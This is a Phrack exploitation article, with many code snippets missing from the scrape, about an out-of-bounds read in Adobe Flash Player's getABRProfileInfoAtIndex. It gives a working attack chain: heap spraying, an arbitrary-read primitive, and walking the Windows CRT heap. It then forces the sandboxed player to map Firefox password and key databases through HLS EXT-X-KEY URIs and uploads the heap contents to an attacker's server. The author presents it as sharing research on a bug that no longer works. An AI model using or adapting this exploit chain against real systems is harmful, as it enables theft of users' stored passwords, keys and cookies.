Professional Documents
Culture Documents
13
13
==
|=-----------------------------------------------------------------------=|
|=---------------=[ The Art of Exploitation ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ Obituary for an Adobe Flash Player bug ]=-------------=|
|=-----------------------------------------------------------------------=|
|=------------------------------=[ huku ]=-------------------------------=|
|=------------------------=[ huku@grhack.net ]=--------------------------=|
|=-----------------------------------------------------------------------=|
0 - Introduction
1 - Preparing a debugging environment
1.1 - Your first AS3 "Hello, World!"
1.2 - Printing output
2 - Useful ActionScript classes
2.1 - Marking owned clients
2.2 - Preventing the unresponsive script pop-up from showing up
3 - The bug
3.1 - Analysis
3.2 - Exploitation
3.2.1 - Assessment
3.2.2 - From relative to absolute information leak
3.2.3 - Discovering Flash Player base address
3.2.4 - Discovering the CRT heap address
3.2.5 - Walking CRT heap allocations
3.2.6 - Reading arbitrary files
3.2.7 - Overall exploit methodology
3.2.8 - Logz
4 - Conclusion
5 - Thanks
6 - References
7 - Codez
--[ 0 - Introduction
This article will deal with the aforementioned vulnerability. We will show
how it can be leveraged to disclose, not only sensitive information from a
sandboxed Adobe Flash process, but other sensitive information from the
target's filesystem as well. More specifically, we will focus on how it's
possible to steal the Firefox SQLite databases containing stored passwords,
encryption keys and cookies from a victim's computer. These passwords, can
then be used to access the target machine via other means thus allowing one
to indirectly, escape the sandbox restrictions imposed by Adobe Flash on
Firefox. Since our 0days have long stopped working, it's a good chance for
us to share our experience with the community.
This article is organised as follows. The first section deals with how a
working/debugging environment for Flash development is set up. We believe
that this will help the interesting reader get started with Adobe Flash
exploitation and will aid him/her in discovering his/her own 0day
vulnerabilities. The second section deals with certain problems that may
arise during client side exploitation and presents simple ActionScript
tricks that can be used to resolve them. Last but not least, the third
section analyzes the actual vulnerability and the steps taken to achieve
arbitrary file stealing by abusing a simple information/memory disclosure
primitive.
It should be noted that the code snippets and other information presented
in the remainder of this article correspond to version 15.0.0.189 of the
NPAPI release of Adobe Flash Player. The vulnerability is present in older
versions as well, but the author was unable to find older IDA Pro databases
in his hard drive :P
* The FLEX SDK distributed by the Apache Foundation [05] or Adobe [06].
You should stick with the first. Just visit the Apache foundation
homepage and download the automated installer.
I guess all Phrack readers know how to install stuff, so I'll leave this as
an exercise to the reader :P
As an alternative to the above, one may use Haxe [20]. Haxe allows a
developer to write code using a strictly typed programming language and
then compile it, or even cross-compile it, to a set of possible target
runtimes. Adobe Flash is in the list of supported application runtimes.
In this article, however, we will stick to the first of the two options,
but Haxe is also worth exploring from an attacker's perspective.
----[ 1.1 - Your first AS3 "Hello, World!"
Fire up your favorite text editor and create a file named "Test.as" with
the following contents. Just like Java, AS3 source code files are named
after the public class they declare.
Unless you have a vim syntax file for AS3, the last comment will put some
color in your editor.
MXMLC=$(SDK_PREFIX)/bin/mxmlc
MXMLC_FLAGS=-compiler.optimize -warnings
SRCS=Test.as
BIN=Test.swf
all:
$(MXMLC) $(SRCS) $(MXMLC_FLAGS) -output $(BIN)
.PHONY: clean
clean:
rm -fr $(BIN)
--- snip ---
Admittedly, the best way of debugging code is printing output (who needs
`gdb' anyway?). The AS3 API provides a function named `trace()' which is
used to produce debugging messages. However, the messages can only be
viewed when a debugging version of Adobe Flash Player is used and the SWF
is run from within Flash Builder Studio. This is bad news; no clients use a
debugging version of Flash and I prefer spending 50$ for anything other
than buying Flash Studio :)
I can think of at least two cases where output messages can be useful:
For the first case output messages can be printed directly in the users
browser. For the second case, logs can be forwarded to a remote log server
controlled by the attacker. `Console' class, implemented in file
"Console.as" in the attached exploit, is capable of performing both. The
boolean constants `LOCAL_DEBUG' and `REMOTE_DEBUG' control what kind of
logging strategy is used:
...
}
--- snip ---
The attached exploit comes with a simple Python server that receives the
messages and writes them in a SQLite database. A simple web interface can
be used to view them.
--[ 2 - Useful ActionScript classes
Let's forget about the actual vulnerability for a moment and let's focus on
various problems that may arise during the exploitation process. Each of
the following sections deals with such a problem and presents a simple
solution.
A first problem that may arise when writing AS3 exploits (in fact, during
client side exploitation in general) is how already exploited clients are
distinguished from clients on which the exploit failed and clients that are
targeted for the first time. If for some reason the exploit fails on a
client, maybe because the Flash Player plug-in crashed because of accessing
an unmapped memory address for example, it's good not to run the exploit
again next time the client in question refreshes the malicious web page. A
means to achieving this kind of behavior is using some kind of persistent
information on the client's side. The two most well known methods are the
following:
Even though the mechanisms above can indeed be used as a possible solution,
they both come with their drawbacks. Cookies are not that reliable (e.g.
private browsing, cookies being cleaned up when the browser exits), while a
JavaScript based solution requires some form of communication between the
JavaScript code and our Flash exploit. Even though this is possible [09],
it kind of complicates things. A pure AS3 solution is preferred.
For the sake of developing the attached Flash exploit, I decided to make
use of ActionScript's `SharedObject' class [10]. This API allows for
managing persistent storage on the clients side directly from the AVM
engine and it's as simple as the equivalent JavaScript APIs. An additional
benefit is that browsers usually don't clean the, so called, Flash cookies
and thus marking a client this way may be better and more reliable.
// If cookie not present, or more than the specified amount of time has
// elapsed, the client is not considered marked.
if(!("time" in lso.data) ||
(new Date()).time - lso.data["time"] >= Persistence.INTERVAL)
ret = false;
lso.close();
return ret;
}
--- snip ---
worker.start();
this._con.msg("New worker started");
}
--- snip ---
This function will also create a `MessageChannel' instance for each worker,
so that asynchronous communication with the main thread is possible. In the
attached exploit, the message channel is used by the workers to forward
debugging messages to the main thread, who will, in turn, forward them to
the output stream specified in "Console.as". The relevant code is not
presented here, as this feature is just a minor, but useful, detail of the
exploit.
The following snippet shows how one can do that programmatically in AS3.
stream.load("C:\\playlist.m3u8");
stream.play();
--- snip ---
As a side note, the author would like to stress the fact that this article
will not deal with the server component of the attached exploit that serves
the malicious M3U8 files. The interested reader is advised to have a look
at "m3u8.php", "dumper.php" and the relevant code in "WorkerMain.as". These
details have been intentional left out so that the reader's attention is
not focused on simple technical issues like setting up Samba, Apache, DAV
and so on. For more information have a look at "README.md" in the exploit's
top-level directory.
HLS is quite flexible. An M3U8 playlist may specify the same media source
(e.g. your favorite porn video) in various encodings and various bitrates.
This way clients can adapt based on availability of bandwidth or other
resources. Additionally a media source is allowed to be broken in smaller
pieces, called periods, so that clients can faster seek to the required
time location. Since the author is not really a media guy, the information
and terminology in the following paragraphs is presented ad referendum.
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=150000,RESOLUTION=416x234, \
CODECS="avc1.42e00a,mp4a.40.2"
http://example.com/low/index.m3u8
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=240000,RESOLUTION=416x234, \
CODECS="avc1.42e00a,mp4a.40.2"
http://example.com/lo_mid/index.m3u8
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=440000,RESOLUTION=416x234, \
CODECS="avc1.42e00a,mp4a.40.2"
http://example.com/hi_mid/index.m3u8
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=640000,RESOLUTION=640x360, \
CODECS="avc1.42e00a,mp4a.40.2"
http://example.com/high/index.m3u8
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=64000,CODECS="mp4a.40.5"
http://example.com/audio/index.m3u8
--- snip ---
The manifest shown above defines 5, so called, bitrate profiles for the
same media source. A client can choose any of these. For example, a low
bandwidth client would pick the first entry and would proceed by loading
the M3U8 manifest specified in the first "#EXT-X-STREAM-INF" entry. In
turn, this manifest may look like the following:
The tag names starting with the hash character are not relevant right now.
What is important is that the files named "fileSequenceXXX.ts" correspond
to the media source's periods.
The API requires two integers, the period index (the index of the media
source piece) and the bitrate profile index. For example, to query the
profile information for the period "fileSequenece1.ts" of the low bandwidth
profile, one might do the following:
The reader should have already guessed where the actual bug lies. The
second argument passed to this API is not checked. The bug can be triggered
by calling `getABRProfileInfoAtIndex()' as shown below:
Here's what's going on under the hood. The presented assembly snippet was
taken from "NPSWF32_15_0_0_189.dll".
...
mov eax, [eax+40h]
mov ecx, [ebp+arg_4] ; Profile index controlled by the attacker
mov esi, [eax+ecx*4] ; Read pointer to AVABRProfileInfo (1)
cmp esi, ebx
jnz short loc_10235525
loc_10235525:
...
push dword ptr [esi+8] ; Read 3 doublewords from `esi' (2)
push dword ptr [esi+4]
push dword ptr [esi]
loc_1023553E:
...
call sub_102347FC ; AVABRProfileInfo constructor
loc_1023554D:
pop edi
pop ebx
leave
retn 8 ; Return AVABRProfileInfo
sub_102354CC endp
--- snip ---
class AVSegmentedSource
{
private:
struct ABRProfileInfo *profiles[];
...
public:
struct ABRProfileInfo *getABRProfileInfoAtIndex(int, int);
...
};
The following figure shows the relationship between the various structures
described so far.
Ideally, one would attempt to place controlled data, a string for example,
right next to the `profiles[]' array using well known and studied heap
shaping techniques. Then, with a properly chosen value for `j',
`&profiles[j]' would fall on the aformentioned controlled data region,
resulting in total control on the address from where data will be leaked
back to the attacker. This is definitely a good way to go, however the
exploit attached in this article uses a different technique. Unfortunately,
several years have passed since I discovered this vulnerability and I don't
recall reason why I didn't follow this technique. IIRC `profiles[]' was not
in the AVM managed heap and it was thus hard to control the heap contents
right next to it. Hard, but not impossible I guess.
Probably not the best strategy, but one that works, is to spray the heap
with a few very large vectors of unsigned integers, hoping that a high
memory address is reached and that this address holds user supplied data.
The attached exploit allocates 64 such vectors, 0x01000000 bytes in size
each, and the high address in question is assumed to be 0x0a000000, but
that's an arbitrary choice, any high address properly chosen will do. It
should be noted that the heap spray vectors should be filled with a
doubleword value corresponding to the chosen high address, that is, in our
case, we should set all elements of all vectors to 0x0a000000 for reasons
that will become apparent later.
Since a great deal of the memory space is filled with our vectors,
supplying a quite large value for `j' has a good chance of making
`&profiles[j]' to fall within one of the heap sprayed regions. The exploit
will first attempt to leak a doubleword from `&profiles[0x01000000]'. A
leaked value of 0x0a000000 is an indication that the heap spray has
succeeded.
One might wonder why spraying the heap with just a few very large vectors
may be better, as opposed to spraying with a large number of smaller
vectors. Usually, we need to decrease the metadata to data ratio. The more
vectors we instantiate the more metadata are allocated in the victim
process' GC heap, the AVM managed heap. However, by allocating only a few
very large vectors we can make sure heap space is mostly filled with user
supplied unsigned integers and only a few bytes of metadata is used.
The underlying C++ vector objects hold a pointer to a memory region that
holds the actual data (for more information see [18]). This memory region
has the following format.
https://github.com/adobe-flash/avmplus/blob/master/core/avmplusList.h#L83
While writing this article, the author came across the following GitHub
repository, which was recently updated by Adobe! In this new version of
"avmplus", the layout of the structure shown above has changed and
XOR-based overflow protection has been added.
https://github.com/adobe/avmplus/blob/master/core/avmplusList.h#L83
Now, let's assume that our heap spraying results in the partial memory
layout depicted in the following figure.
* An easy way of reading arbitrary memory addresses. For each vector `v'
in the set of spray vectors, se set `v[0] = 0xdeadbeef' and call
`getABRProfileInfoAtIndex()' passing the aforementioned `j + 1' value
as the second argument. This will result in 3 doublewords being leaked
from 0xdeadbeef.
All this may be confusing even if you are the most experienced exploit
writer in the world. Take your time and think about it.
// (1)
for(var i:uint = 0; i < this.VECNUM; i++)
this._sv[i][0] = addr;
// (2)
pi = this._source.getABRProfileInfoAtIndex(0, this._idx);
...
ret = pi.bitsPerSecond;
return ret;
}
--- snip ---
At (1) we iterate over the 64 heap spray vectors and set their first
element to the address from where we want to read a doubleword. We then
call the vulnerable API, at (2), with the appropriate second argument that
results in some vector's first element being dereferenced as a memory
address. The value in `pi.bitsPerSecond' returns the leaked value.
return raw;
}
--- snip ---
dw = this._read_dword(addr);
while((dw & 0x0000ffff) != 0x00005a4d)
{
addr -= 0x1000;
dw = this._read_dword(addr);
}
this._flash_address = addr;
}
--- snip ---
addr += i + 13;
addr = this._read_dword(addr);
this._heap_address = this._read_dword(addr);
this._parser = new CRTHeapParser(this._read_dword);
}
--- snip ---
With this in hand, one may walk all heap allocations and read all data
reachable in the heap at the time the exploit executes. Notice that, the
GC heap, Adobe Flash's own heap allocator, acts on top of the Microsoft
Windows CRT heap.
Once the CRT heap address has been leaked, walking the whole heap is pretty
straightforward. Luckily for an attacker, Chris Valasek and Tarjei Mandt
have done a great work at documenting the Microsoft Windows heap internals
([13], [14], [15]).
The callback receives two arguments. The address of a heap allocation and
the allocation size. It's up to the callback implementer to read the
contents of this heap allocation (using the information leak exploit) and
discover its contents.
return ret;
}
--- snip ---
As it has already been mentioned, the above is, actually, the equivalent of
`HeapWalk()' [19] implemented by abusing our read primitive.
Now that we have a powerful arbitrary read primitive at hand, it's time we
examine what can be done with it. An obvious potential is dumping the
memory contents of the sandboxed Adobe Flash Player process. However,
unless sensitive information is already present in the process' memory,
doing this won't yield any interesting results.
What if one could force the sandboxed child load and map arbitrary files in
memory? Assuming a file has been mapped somewhere in the process' heap,
discovering its contents is just a matter of walking the heap and locating
the heap region that carries the contents of the file.
3.4.4. EXT-X-KEY
#EXT-X-KEY:<attribute-list>
...
...
The URI attribute specifies how to obtain the key. Its value is a
quoted-string that contains a URI [RFC3986] for the key.
If the URI specifies a local file, the Flash Player child will happily load
and map it in memory (it's well known that the NPAPI Firefox Flash Sandbox
allows reading arbitrary files from the filesystem). A relatively big file
will occupy a heap segment of its own, making it easier for an attacker to
discover its contents.
C:\Users\USERNAME\AppData\Roaming\Mozilla\Firefox\Profiles\PROFILE_NAME\
signons.sqlite
The path above contains two unknown quantities, the victim's username and
the Firefox profile name which is a random identifier produced during
installation. Before being able to load these files, one needs to find a
way to determine the unknown values first.
matches = raw.match(/:\\Users\\([^\\]*)\\AppData/);
if(matches != null)
{
this._username = matches[1];
ret = true;
}
return ret;
}
This whole process may be repeated to first load "profiles.ini", the file
that holds the randomly generated Mozilla Firefox profile name and then the
SQLite databases holding the keys and passwords. The content's of the
aforementioned files can then be dumped using `this._parser.walk()' with
different callback methods as shown below.
this._parser.walk(this._heap_address, this._get_profile_name_cb);
...
}
--- snip ---
if(this._mem == null)
this._mem = "";
this._mem += raw;
this._mem = "";
}
The exploit's server component "dumper.php" will store the uploaded data in
a file under "/tmp". Section 3.2.8, entitled "Logs", proves that the SQLite
databases holding keys and passwords have succesfully been uploaded to the
attacker's server.
Summing up, the complete exploitation process consists of the steps given
below. The interested reader is referred to the corresponding sections of
this article for a detailed analysis of each step. Briefly the attached
exploit:
* Walks the CRT heap once to locate the environment variables of the
victim process. Simple pattern matching is used to locate the username
of the victim.
* Walks the CRT heap once again to locate "profiles.ini" contents and
read the name of the default profile. Most (all) users use just a
single Firefox profile.
* Walks the CRT heap again and uploads all heap allocations to a server
of the attacker's choosing. Some of these allocations contain the
SQLite database contents.
The author has run several experiments and has verified that the above
exploitation works as expected.
--[ 4 - Conclusion
Vulnerabilities, uninteresting at first sight, just like this one, may turn
out to be promising and effective. Once a victim's passwords have been
stolen (e.g. e-mail credentials), accessing the target's computer or mobile
devices may also be possible in post-exploitation scenarios.
--[ 5 - Thanks
As you might know, writing a Phrack article is quite a hard work and
requires dedication. This paper would have never been completed if it
wasn't for the help and support of certain people. This section is
dedicated to them.
First and foremost I would like to thank the Phrack Staff for kicking my
ass and motivating me to write this article. In a world of conferences and
fame, Phrack has managed to stay alive with original and impressive
content. It was the least I could to do help. It's always an honor for me
seeing my articles published in Phrack.
I would like to thank nemo and argp for their suggestions and insightful
comments. My thanks also go to my team at CENSUS (and a couple of other
persons who would like to remain anonymous) for giving me the chance to
work on this cool stuff and spend time on Adobe Flash internals. It's
always cool to be in a team where "client side exploitation" means
arbitrary code execution and not XSS :)
Chris Valasek and Tarjei Mandt for their work on Windows heap allocators.
Life would have been harder without their work.
Last but not least, greetings fly to my grhack.net collegues and !fapperz
;)
--[ 6 - References
[01] http://www.zerodayinitiative.com/advisories/ZDI-15-007/
[02] https://twitter.com/kernelbof/status/629832855842091008
[03] http://www.cvedetails.com/top-50-products.php
[04] https://blog.zimperium.com/
stagefright-vulnerability-details-stagefright-detector-tool-released/
[05] http://flex.apache.org/installer.html
[06] http://www.adobe.com/devnet/flex/flex-sdk-download.html
[07] http://www.w3.org/TR/webstorage/
[08] http://www.w3.org/TR/webdatabase/
[09] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/
flash/external/ExternalInterface.html
[10] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/
flash/net/SharedObject.html
[11] https://en.wikipedia.org/wiki/HTTP_Live_Streaming
[11] http://tools.ietf.org/html/draft-pantos-http-live-streaming-08
[12] https://msdn.microsoft.com/en-us/library/windows/desktop/
aa366710(v=vs.85).aspx
[13] http://www.azimuthsecurity.com/resources/bh2009_mcdonald_valasek.pdf
[14] http://illmatics.com/Understanding_the_LFH.pdf
[15] http://illmatics.com/Windows%208%20Heap%20Internals.pdf
[16] https://developer.apple.com/library/ios/technotes/tn2288/_index.html
[17] https://www.adobe.com/support/flashplayer/debug_downloads.html
[18] https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/
zerodayresearch/smashing_the_heap_with_vector_Li.pdf
[19] https://msdn.microsoft.com/en-us/library/windows/desktop/
aa366710(v=vs.85).aspx
[20] http://haxe.org
--[ 7 - Codez